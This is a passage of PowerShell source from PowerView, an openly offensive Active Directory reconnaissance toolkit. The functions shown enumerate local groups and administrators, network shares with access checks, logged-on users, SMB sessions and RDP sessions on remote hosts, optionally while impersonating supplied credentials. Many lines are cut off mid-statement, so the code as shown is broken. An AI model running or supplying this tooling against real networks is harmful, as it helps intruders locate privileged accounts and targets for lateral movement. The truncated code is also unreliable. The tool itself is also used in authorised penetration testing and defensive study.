$SearcherArguments['Identity'] = '{6AC1786C-016F-11D2-945F-00C04FB984F9}'
}
else {
$SearcherArguments['Identity'] = $Policy
}
$GPOResults = Get-DomainGPO @SearcherArguments
ForEach ($GPO in $GPOResults) {
# grab the GptTmpl.inf file and parse it
$GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.in
$ParseArgs = @{
'GptTmplPath' = $GptTmplPath
'OutputObject' = $True
}
if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential }
# parse the GptTmpl.inf
Get-GptTmpl @ParseArgs | ForEach-Object {
$_ | Add-Member Noteproperty 'GPOName' $GPO.name
$_ | Add-Member Noteproperty 'GPODisplayName' $GPO.displayname
$_
}
}
}
}
########################################################
#
# Functions that enumerate a single host, either through
# WinNT, WMI, remote registry, or API calls
# (with PSReflect).
#
########################################################
function Get-NetLocalGroup {
<#
.SYNOPSIS
Enumerates the local groups on the local (or remote) machine.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect
.DESCRIPTION
This function will enumerate the names and descriptions for the
local groups on the current, or remote, machine. By default, the Win32 API
call NetLocalGroupEnum will be used (for speed). Specifying "-Method WinNT"
causes the WinNT service provider to be used instead, which returns group
SIDs along with the group names and descriptions/comments.
.PARAMETER ComputerName
Specifies the hostname to query for sessions (also accepts IP addresses).
Defaults to the localhost.
.PARAMETER Method
The collection method to use, defaults to 'API', also accepts 'WinNT'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to a remote machine. Only applicable with "-Method WinNT".
.EXAMPLE
Get-NetLocalGroup
ComputerName GroupName Comment
------------ --------- -------
WINDOWS1 Administrators Administrators have comple...
WINDOWS1 Backup Operators Backup Operators can overr...
WINDOWS1 Cryptographic Operators Members are authorized to ...
...
.EXAMPLE
Get-NetLocalGroup -Method Winnt
ComputerName GroupName GroupSID Comment
------------ --------- -------- -------
WINDOWS1 Administrators S-1-5-32-544 Administrators hav...
WINDOWS1 Backup Operators S-1-5-32-551 Backup Operators c...
WINDOWS1 Cryptographic Opera... S-1-5-32-569 Members are author...
...
.EXAMPLE
Get-NetLocalGroup -ComputerName primary.testlab.local
ComputerName GroupName Comment
------------ --------- -------
primary.testlab.local Administrators Administrators have comple...
primary.testlab.local Users Users are prevented from m...
primary.testlab.local Guests Guests have the same acces...
primary.testlab.local Print Operators Members can administer dom...
primary.testlab.local Backup Operators Backup Operators can overr...
.OUTPUTS
PowerView.LocalGroup.API
Custom PSObject with translated group property fields from API results.
PowerView.LocalGroup.WinNT
Custom PSObject with translated group property fields from WinNT results.
.LINK
https://msdn.microsoft.com/en-us/library/windows/desktop/aa370440(v=vs.85).aspx
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.LocalGroup.API')]
[OutputType('PowerView.LocalGroup.WinNT')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = $Env:COMPUTERNAME,
[ValidateSet('API', 'WinNT')]
[Alias('CollectionMethod')]
[String]
$Method = 'API',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}
PROCESS {
ForEach ($Computer in $ComputerName) {
if ($Method -eq 'API') {
# if we're using the Netapi32 NetLocalGroupEnum API call to get the local group information
# arguments for NetLocalGroupEnum
$QueryLevel = 1
$PtrInfo = [IntPtr]::Zero
$EntriesRead = 0
$TotalRead = 0
$ResumeHandle = 0
# get the local user information
$Result = $Netapi32::NetLocalGroupEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$E
# locate the offset of the initial intPtr
$Offset = $PtrInfo.ToInt64()
# 0 = success
if (($Result -eq 0) -and ($Offset -gt 0)) {
# Work out how much to increment the pointer by finding out the size of the structure
$Increment = $LOCALGROUP_INFO_1::GetSize()
# parse all the result structures
for ($i = 0; ($i -lt $EntriesRead); $i++) {
# create a new int ptr at the given offset and cast the pointer as our result structure
$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
$Info = $NewIntPtr -as $LOCALGROUP_INFO_1
$Offset = $NewIntPtr.ToInt64()
$Offset += $Increment
$LocalGroup = New-Object PSObject
$LocalGroup | Add-Member Noteproperty 'ComputerName' $Computer
$LocalGroup | Add-Member Noteproperty 'GroupName' $Info.lgrpi1_name
$LocalGroup | Add-Member Noteproperty 'Comment' $Info.lgrpi1_comment
$LocalGroup.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroup.API')
$LocalGroup
}
# free up the result buffer
$Null = $Netapi32::NetApiBufferFree($PtrInfo)
}
else {
Write-Verbose "[Get-NetLocalGroup] Error: $(([ComponentModel.Win32Exception] $Result
}
}
else {
# otherwise we're using the WinNT service provider
$ComputerProvider = [ADSI]"WinNT://$Computer,computer"
$ComputerProvider.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'gro
$LocalGroup = ([ADSI]$_)
$Group = New-Object PSObject
$Group | Add-Member Noteproperty 'ComputerName' $Computer
$Group | Add-Member Noteproperty 'GroupName' ($LocalGroup.InvokeGet('Name'))
$Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.Security
$Group | Add-Member Noteproperty 'Comment' ($LocalGroup.InvokeGet('Description'))
$Group.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroup.WinNT')
$Group
}
}
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Get-NetLocalGroupMember {
<#
.SYNOPSIS
Enumerates members of a specific local group on the local (or remote) machine.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect, Convert-ADName
.DESCRIPTION
This function will enumerate the members of a specified local group on the
current, or remote, machine. By default, the Win32 API call NetLocalGroupGetMembers
will be used (for speed). Specifying "-Method WinNT" causes the WinNT service provider
to be used instead, which returns a larger amount of information.
.PARAMETER ComputerName
Specifies the hostname to query for sessions (also accepts IP addresses).
Defaults to the localhost.
.PARAMETER GroupName
The local group name to query for users. If not given, it defaults to "Administrators".
.PARAMETER Method
The collection method to use, defaults to 'API', also accepts 'WinNT'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to a remote machine. Only applicable with "-Method WinNT".
.EXAMPLE
Get-NetLocalGroupMember | ft
ComputerName GroupName MemberName SID IsGroup IsDomain
------------ --------- ---------- --- ------- --------
WINDOWS1 Administrators WINDOWS1\Ad... S-1-5-21-25... False False
WINDOWS1 Administrators WINDOWS1\lo... S-1-5-21-25... False False
WINDOWS1 Administrators TESTLAB\Dom... S-1-5-21-89... True True
WINDOWS1 Administrators TESTLAB\har... S-1-5-21-89... False True
.EXAMPLE
Get-NetLocalGroupMember -Method winnt | ft
ComputerName GroupName MemberName SID IsGroup IsDomain
------------ --------- ---------- --- ------- --------
WINDOWS1 Administrators WINDOWS1\Ad... S-1-5-21-25... False False
WINDOWS1 Administrators WINDOWS1\lo... S-1-5-21-25... False False
WINDOWS1 Administrators TESTLAB\Dom... S-1-5-21-89... True True
WINDOWS1 Administrators TESTLAB\har... S-1-5-21-89... False True
.EXAMPLE
Get-NetLocalGroup | Get-NetLocalGroupMember | ft
ComputerName GroupName MemberName SID IsGroup IsDomain
------------ --------- ---------- --- ------- --------
WINDOWS1 Administrators WINDOWS1\Ad... S-1-5-21-25... False False
WINDOWS1 Administrators WINDOWS1\lo... S-1-5-21-25... False False
WINDOWS1 Administrators TESTLAB\Dom... S-1-5-21-89... True True
WINDOWS1 Administrators TESTLAB\har... S-1-5-21-89... False True
WINDOWS1 Guests WINDOWS1\Guest S-1-5-21-25... False False
WINDOWS1 IIS_IUSRS NT AUTHORIT... S-1-5-17 False False
WINDOWS1 Users NT AUTHORIT... S-1-5-4 False False
WINDOWS1 Users NT AUTHORIT... S-1-5-11 False False
WINDOWS1 Users WINDOWS1\lo... S-1-5-21-25... False UNKNOWN
WINDOWS1 Users TESTLAB\Dom... S-1-5-21-89... True UNKNOWN
.EXAMPLE
Get-NetLocalGroupMember -ComputerName primary.testlab.local | ft
ComputerName GroupName MemberName SID IsGroup IsDomain
------------ --------- ---------- --- ------- --------
primary.tes... Administrators TESTLAB\Adm... S-1-5-21-89... False False
primary.tes... Administrators TESTLAB\loc... S-1-5-21-89... False False
primary.tes... Administrators TESTLAB\Ent... S-1-5-21-89... True False
primary.tes... Administrators TESTLAB\Dom... S-1-5-21-89... True False
.OUTPUTS
PowerView.LocalGroupMember.API
Custom PSObject with translated group property fields from API results.
PowerView.LocalGroupMember.WinNT
Custom PSObject with translated group property fields from WinNT results.
.LINK
http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together
http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/aa370601(v=vs.85).aspx
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.LocalGroupMember.API')]
[OutputType('PowerView.LocalGroupMember.WinNT')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = $Env:COMPUTERNAME,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[String]
$GroupName = 'Administrators',
[ValidateSet('API', 'WinNT')]
[Alias('CollectionMethod')]
[String]
$Method = 'API',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}
PROCESS {
ForEach ($Computer in $ComputerName) {
if ($Method -eq 'API') {
# if we're using the Netapi32 NetLocalGroupGetMembers API call to get the local group inform
# arguments for NetLocalGroupGetMembers
$QueryLevel = 2
$PtrInfo = [IntPtr]::Zero
$EntriesRead = 0
$TotalRead = 0
$ResumeHandle = 0
# get the local user information
$Result = $Netapi32::NetLocalGroupGetMembers($Computer, $GroupName, $QueryLevel, [
# locate the offset of the initial intPtr
$Offset = $PtrInfo.ToInt64()
$Members = @()
# 0 = success
if (($Result -eq 0) -and ($Offset -gt 0)) {
# Work out how much to increment the pointer by finding out the size of the structure
$Increment = $LOCALGROUP_MEMBERS_INFO_2::GetSize()
# parse all the result structures
for ($i = 0; ($i -lt $EntriesRead); $i++) {
# create a new int ptr at the given offset and cast the pointer as our result structure
$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
$Info = $NewIntPtr -as $LOCALGROUP_MEMBERS_INFO_2
$Offset = $NewIntPtr.ToInt64()
$Offset += $Increment
$SidString = ''
$Result2 = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString);$LastEr
if ($Result2 -eq 0) {
Write-Verbose "[Get-NetLocalGroupMember] Error: $(([ComponentModel.Win32Exce
}
else {
$Member = New-Object PSObject
$Member | Add-Member Noteproperty 'ComputerName' $Computer
$Member | Add-Member Noteproperty 'GroupName' $GroupName
$Member | Add-Member Noteproperty 'MemberName' $Info.lgrmi2_domainandname
$Member | Add-Member Noteproperty 'SID' $SidString
$IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup')
$Member | Add-Member Noteproperty 'IsGroup' $IsGroup
$Member.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroupMember.API')
$Members += $Member
}
}
# free up the result buffer
$Null = $Netapi32::NetApiBufferFree($PtrInfo)
# try to extract out the machine SID by using the -500 account as a reference
$MachineSid = $Members | Where-Object {$_.SID -match '.*-500' -or ($_.SID -match '.*-50
if ($MachineSid) {
$MachineSid = $MachineSid.Substring(0, $MachineSid.LastIndexOf('-'))
$Members | ForEach-Object {
if ($_.SID -match $MachineSid) {
$_ | Add-Member Noteproperty 'IsDomain' $False
}
else {
$_ | Add-Member Noteproperty 'IsDomain' $True
}
}
}
else {
$Members | ForEach-Object {
if ($_.SID -notmatch 'S-1-5-21') {
$_ | Add-Member Noteproperty 'IsDomain' $False
}
else {
$_ | Add-Member Noteproperty 'IsDomain' 'UNKNOWN'
}
}
}
$Members
}
else {
Write-Verbose "[Get-NetLocalGroupMember] Error: $(([ComponentModel.Win32Exception]
}
}
else {
# otherwise we're using the WinNT service provider
try {
$GroupProvider = [ADSI]"WinNT://$Computer/$GroupName,group"
$GroupProvider.psbase.Invoke('Members') | ForEach-Object {
$Member = New-Object PSObject
$Member | Add-Member Noteproperty 'ComputerName' $Computer
$Member | Add-Member Noteproperty 'GroupName' $GroupName
$LocalUser = ([ADSI]$_)
$AdsPath = $LocalUser.InvokeGet('AdsPath').Replace('WinNT://', '')
$IsGroup = ($LocalUser.SchemaClassName -like 'group')
if(([regex]::Matches($AdsPath, '/')).count -eq 1) {
# DOMAIN\user
$MemberIsDomain = $True
$Name = $AdsPath.Replace('/', '\')
}
else {
# DOMAIN\machine\user
$MemberIsDomain = $False
$Name = $AdsPath.Substring($AdsPath.IndexOf('/')+1).Replace('/', '\')
}
$Member | Add-Member Noteproperty 'AccountName' $Name
$Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.Sec
$Member | Add-Member Noteproperty 'IsGroup' $IsGroup
$Member | Add-Member Noteproperty 'IsDomain' $MemberIsDomain
# if ($MemberIsDomain) {
# # translate the binary sid to a string
# $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal
# $Member | Add-Member Noteproperty 'Description' ''
# $Member | Add-Member Noteproperty 'Disabled' ''
# if ($IsGroup) {
# $Member | Add-Member Noteproperty 'LastLogin' ''
# }
# else {
# try {
# $Member | Add-Member Noteproperty 'LastLogin' $LocalUser.InvokeGet('LastL
# }
# catch {
# $Member | Add-Member Noteproperty 'LastLogin' ''
# }
# }
# $Member | Add-Member Noteproperty 'PwdLastSet' ''
# $Member | Add-Member Noteproperty 'PwdExpired' ''
# $Member | Add-Member Noteproperty 'UserFlags' ''
#}
# else {
# # translate the binary sid to a string
# $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal
# $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description)
# if ($IsGroup) {
# $Member | Add-Member Noteproperty 'PwdLastSet' ''
# $Member | Add-Member Noteproperty 'PwdExpired' ''
# $Member | Add-Member Noteproperty 'UserFlags' ''
# $Member | Add-Member Noteproperty 'Disabled' ''
# $Member | Add-Member Noteproperty 'LastLogin' ''
# }
# else {
# $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$L
# $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpir
# $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] )
# # UAC flags of 0x2 mean the account is disabled
# $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.UserFlags.value
# try {
# $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0])
# }
# catch {
# $Member | Add-Member Noteproperty 'LastLogin' ''
# }
# }
#}
$Member
}
}
catch {
Write-Verbose "[Get-NetLocalGroupMember] Error for $Computer : $_"
}
}
}
}

END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Get-NetShare {
<#
.SYNOPSIS
Returns open shares on the local (or a remote) machine.
Author: Will Schroeder (@harmj0y), Alexander Sturz (@61106960)
License: BSD 3-Clause
Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf
.DESCRIPTION
This function will execute the NetShareEnum Win32API call to query
a given host for open shares. This is a replacement for "net share \\hostname".
.PARAMETER ComputerName
Specifies the hostname to query for shares (also accepts IP addresses).
Defaults to 'localhost'.
.PARAMETER CheckShareAccess
Checks if read access to the enumerated shares is allowed or not.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system using Invoke-UserImpersonation.
.EXAMPLE
Get-NetShare
Returns active shares on the local host.
.EXAMPLE
Get-NetShare -ComputerName sqlserver
Returns active shares on the 'sqlserver' host
.EXAMPLE
Get-DomainComputer | Get-NetShare
Returns all shares for all computers in the domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-NetShare -ComputerName sqlserver -Credential $Cred
.OUTPUTS
PowerView.ShareInfo
A PSCustomObject representing a SHARE_INFO_1 structure, including
the name/type/remark for each share, with the ComputerName added.
.LINK
http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-
#>
[OutputType('PowerView.ShareInfo')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',
[Switch]
$CheckShareAccess,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}
PROCESS {
ForEach ($Computer in $ComputerName) {
# arguments for NetShareEnum
$QueryLevel = 1
$PtrInfo = [IntPtr]::Zero
$EntriesRead = 0
$TotalRead = 0
$ResumeHandle = 0
# get the raw share information
$Result = $Netapi32::NetShareEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRe
# locate the offset of the initial intPtr
$Offset = $PtrInfo.ToInt64()
# 0 = success
if (($Result -eq 0) -and ($Offset -gt 0)) {
# work out how much to increment the pointer by finding out the size of the structure
$Increment = $SHARE_INFO_1::GetSize()
# parse all the result structures
for ($i = 0; ($i -lt $EntriesRead); $i++) {
# create a new int ptr at the given offset and cast the pointer as our result structure
$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
$Info = $NewIntPtr -as $SHARE_INFO_1
# return all the sections of the structure - have to do it this way for V2
$Share = $Info | Select-Object *
$Share | Add-Member Noteproperty 'ComputerName' $Computer
if ($Share.name -and $CheckShareAccess) {
try {
# build full path to share
$Path = "\\" + $Computer + "\" + $share.name
$Null = [IO.Directory]::GetFiles($Path)
$Share | Add-Member Noteproperty 'Accessible' $True
}
catch {
$Share | Add-Member Noteproperty 'Accessible' $False
}
}
$Share.PSObject.TypeNames.Insert(0, 'PowerView.ShareInfo')
$Offset = $NewIntPtr.ToInt64()
$Offset += $Increment
$Share
}
# free up the result buffer
$Null = $Netapi32::NetApiBufferFree($PtrInfo)
}
else {
Write-Verbose "[Get-NetShare] Error: $(([ComponentModel.Win32Exception] $Result).Messa
}
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Get-NetLoggedon {
<#
.SYNOPSIS
Returns users logged on the local (or a remote) machine.
Note: administrative rights needed for newer Windows OSes.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf
.DESCRIPTION
This function will execute the NetWkstaUserEnum Win32API call to query
a given host for actively logged on users.
.PARAMETER ComputerName
Specifies the hostname to query for logged on users (also accepts IP addresses).
Defaults to 'localhost'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system using Invoke-UserImpersonation.
.EXAMPLE
Get-NetLoggedon
Returns users actively logged onto the local host.
.EXAMPLE
Get-NetLoggedon -ComputerName sqlserver
Returns users actively logged onto the 'sqlserver' host.
.EXAMPLE
Get-DomainComputer | Get-NetLoggedon
Returns all logged on users for all computers in the domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-NetLoggedon -ComputerName sqlserver -Credential $Cred
.OUTPUTS
PowerView.LoggedOnUserInfo
A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including
the UserName/LogonDomain/AuthDomains/LogonServer for each user, with the ComputerName added
.LINK
http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-
#>
[OutputType('PowerView.LoggedOnUserInfo')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}
PROCESS {
ForEach ($Computer in $ComputerName) {
# declare the reference variables
$QueryLevel = 1
$PtrInfo = [IntPtr]::Zero
$EntriesRead = 0
$TotalRead = 0
$ResumeHandle = 0
# get logged on user information
$Result = $Netapi32::NetWkstaUserEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$Entri
# locate the offset of the initial intPtr
$Offset = $PtrInfo.ToInt64()
# 0 = success
if (($Result -eq 0) -and ($Offset -gt 0)) {
# work out how much to increment the pointer by finding out the size of the structure
$Increment = $WKSTA_USER_INFO_1::GetSize()
# parse all the result structures
for ($i = 0; ($i -lt $EntriesRead); $i++) {
# create a new int ptr at the given offset and cast the pointer as our result structure
$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
$Info = $NewIntPtr -as $WKSTA_USER_INFO_1
# return all the sections of the structure - have to do it this way for V2
$LoggedOn = $Info | Select-Object *
$LoggedOn | Add-Member Noteproperty 'ComputerName' $Computer
$LoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LoggedOnUserInfo')
$Offset = $NewIntPtr.ToInt64()
$Offset += $Increment
$LoggedOn
}
# free up the result buffer
$Null = $Netapi32::NetApiBufferFree($PtrInfo)
}
else {
Write-Verbose "[Get-NetLoggedon] Error: $(([ComponentModel.Win32Exception] $Result).Me
}
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Get-NetSession {
<#
.SYNOPSIS
Returns session information for the local (or a remote) machine.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf
.DESCRIPTION
This function will execute the NetSessionEnum Win32API call to query
a given host for active sessions.
.PARAMETER ComputerName
Specifies the hostname to query for sessions (also accepts IP addresses).
Defaults to 'localhost'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system using Invoke-UserImpersonation.
.EXAMPLE
Get-NetSession
Returns active sessions on the local host.
.EXAMPLE
Get-NetSession -ComputerName sqlserver
Returns active sessions on the 'sqlserver' host.
.EXAMPLE
Get-DomainController | Get-NetSession
Returns active sessions on all domain controllers.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-NetSession -ComputerName sqlserver -Credential $Cred
.OUTPUTS
PowerView.SessionInfo
A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including
the CName/UserName/Time/IdleTime for each session, with the ComputerName added.
.LINK
http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-
#>
[OutputType('PowerView.SessionInfo')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}
PROCESS {
ForEach ($Computer in $ComputerName) {
# arguments for NetSessionEnum
$QueryLevel = 10
$PtrInfo = [IntPtr]::Zero
$EntriesRead = 0
$TotalRead = 0
$ResumeHandle = 0
# get session information
$Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -
# locate the offset of the initial intPtr
$Offset = $PtrInfo.ToInt64()
# 0 = success
if (($Result -eq 0) -and ($Offset -gt 0)) {
# work out how much to increment the pointer by finding out the size of the structure
$Increment = $SESSION_INFO_10::GetSize()
# parse all the result structures
for ($i = 0; ($i -lt $EntriesRead); $i++) {
# create a new int ptr at the given offset and cast the pointer as our result structure
$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
$Info = $NewIntPtr -as $SESSION_INFO_10
# return all the sections of the structure - have to do it this way for V2
$Session = $Info | Select-Object *
$Session | Add-Member Noteproperty 'ComputerName' $Computer
$Session.PSObject.TypeNames.Insert(0, 'PowerView.SessionInfo')
$Offset = $NewIntPtr.ToInt64()
$Offset += $Increment
$Session
}
# free up the result buffer
$Null = $Netapi32::NetApiBufferFree($PtrInfo)
}
else {
Write-Verbose "[Get-NetSession] Error: $(([ComponentModel.Win32Exception] $Result).Mes
}
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Get-RegLoggedOn {
<#
.SYNOPSIS
Returns who is logged onto the local (or a remote) machine
through enumeration of remote registry keys.
Note: This function requires only domain user rights on the
machine you're enumerating, but remote registry must be enabled.
Author: Matt Kelly (@BreakersAll)
License: BSD 3-Clause
Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, ConvertFrom-SID
.DESCRIPTION
This function will query the HKU registry values to retrieve the local
logged on users SID and then attempt and reverse it.
Adapted technique from Sysinternal's PSLoggedOn script. Benefit over
using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges
required (NetWkstaUserEnum requires remote admin access).
.PARAMETER ComputerName
Specifies the hostname to query for remote registry values (also accepts IP addresses).
Defaults to 'localhost'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system using Invoke-UserImpersonation.
.EXAMPLE
Get-RegLoggedOn
Returns users actively logged onto the local host.
.EXAMPLE
Get-RegLoggedOn -ComputerName sqlserver
Returns users actively logged onto the 'sqlserver' host.
.EXAMPLE
Get-DomainController | Get-RegLoggedOn
Returns users actively logged on all domain controllers.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-RegLoggedOn -ComputerName sqlserver -Credential $Cred
.OUTPUTS
PowerView.RegLoggedOnUser
A PSCustomObject including the UserDomain/UserName/UserSID of each
actively logged on user, with the ComputerName added.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.RegLoggedOnUser')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost'
)
BEGIN {
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}
PROCESS {
ForEach ($Computer in $ComputerName) {
try {
# retrieve HKU remote registry values
$Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', "$ComputerName")
# sort out bogus sid's like _class
$Reg.GetSubKeyNames() | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }
$UserName = ConvertFrom-SID -ObjectSID $_ -OutputType 'DomainSimple'
if ($UserName) {
$UserName, $UserDomain = $UserName.Split('@')
}
else {
$UserName = $_
$UserDomain = $Null
}
$RegLoggedOnUser = New-Object PSObject
$RegLoggedOnUser | Add-Member Noteproperty 'ComputerName' "$ComputerName"
$RegLoggedOnUser | Add-Member Noteproperty 'UserDomain' $UserDomain
$RegLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName
$RegLoggedOnUser | Add-Member Noteproperty 'UserSID' $_
$RegLoggedOnUser.PSObject.TypeNames.Insert(0, 'PowerView.RegLoggedOnUser')
$RegLoggedOnUser
}
}
catch {
Write-Verbose "[Get-RegLoggedOn] Error opening remote registry on '$ComputerName' : $_"
}
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Get-NetRDPSession {
<#
.SYNOPSIS
Returns remote desktop/session information for the local (or a remote) machine.
Note: only members of the Administrators or Account Operators local group
can successfully execute this functionality on a remote target.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf
.DESCRIPTION
This function will execute the WTSEnumerateSessionsEx and WTSQuerySessionInformation
Win32API calls to query a given RDP remote service for active sessions and originating
IPs. This is a replacement for qwinsta.
.PARAMETER ComputerName
Specifies the hostname to query for active sessions (also accepts IP addresses).
Defaults to 'localhost'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system using Invoke-UserImpersonation.
.EXAMPLE
Get-NetRDPSession
Returns active RDP/terminal sessions on the local host.
.EXAMPLE
Get-NetRDPSession -ComputerName "sqlserver"
Returns active RDP/terminal sessions on the 'sqlserver' host.
.EXAMPLE
